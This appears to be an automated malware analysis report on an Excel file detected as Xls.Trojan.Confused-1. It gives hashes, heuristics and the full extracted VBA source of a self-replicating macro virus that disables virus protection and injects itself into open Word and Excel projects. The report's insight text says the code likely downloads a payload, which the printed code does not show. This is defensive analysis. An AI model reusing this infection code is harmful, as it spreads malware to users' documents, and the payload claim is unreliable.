Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 51db587581895de9…

MALICIOUS

Office (OLE)

19.0 KB Created: 1999-01-24 21:25:59 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 141e933cf29b66b1c2100f04009846d0 SHA-1: 7184e249eef4779aeedb32116ceb10ea12481220 SHA-256: 51db587581895de9d1de813e9c48f380a3305561db4bb64e7b2591082fe3a793
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file is an Excel spreadsheet containing VBA macros, identified by the OLE_VBA_MACROS heuristic. The critical ClamAV detection and high OLE_VBA_GETOBJ heuristic indicate malicious intent. The VBA code appears to be obfuscated but likely attempts to download and execute a secondary payload, a common technique for this type of threat.

Heuristics 3

  • ClamAV: Xls.Trojan.Confused-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Confused-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3002 bytes
SHA-256: f756937da9dbf7a4c491e2acd92f72116ae4338bbfc4672dcbc134491d7acf5f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - Confused Memories
Private Sub Document_Close()
On Error Resume Next
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
Application.DisplayAlerts = 0
Application.ScreenUpdating = 0
Application.EnableCancelKey = 0
Set α = ThisDocument.VBProject.VBComponents("ThisDocument").CodeModule
ν = α.CountOfLines + 1: λ = α.Lines(1, ν)
Err.Clear: Set υ = GetObject(, "Excel.Application").VBE.ActiveVBProject.VBComponents("ThisWorkbook").CodeModule
If Err.Number = 0 Then If υ.Find("~^^~", 0, 0, 0, 0, False, False) = False Then ν = υ.CountOfLines + 1: υ.InsertLines ν, λ
For ι = 1 To Documents.Count
If Documents(ι).VBProject.VBComponents(α).CodeModule.Find("~^^~", 0, 0, 0, 0, False, False) = False Then
ν = Documents(ι).VBProject.VBComponents(α).CodeModule.CountOfLines + 1
Documents(ι).VBProject.VBComponents(α).CodeModule.InsertLines ν, λ
End If: Next
End Sub
Private Sub Workbook_Deactivate()
On Error Resume Next
Application.EnableEvents = 1
Application.DisplayAlerts = 0
Application.ScreenUpdating = 0
Application.EnableCancelKey = 0
Set α = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
ν = α.CountOfLines + 1: λ = α.Lines(1, ν)
Err.Clear: Set υ = GetObject(, "Word.Application").VBE.ActiveVBProject.VBComponents("ThisDocument").CodeModule
If Err.Number = 0 Then If υ.Find("~^^~", 0, 0, 0, 0, False, False) = False Then ν = υ.CountOfLines + 1: υ.InsertLines ν, λ
For ι = 1 To Workbooks.Count
If Workbooks(ι).VBProject.VBComponents(α).CodeModule.Find("~^^~", 0, 0, 0, 0, False, False) = False Then
ν = Workbooks(ι).VBProject.VBComponents(α).CodeModule.CountOfLines + 1
Workbooks(ι).VBProject.VBComponents(α).CodeModule.InsertLines ν, λ
End If: Next
End Sub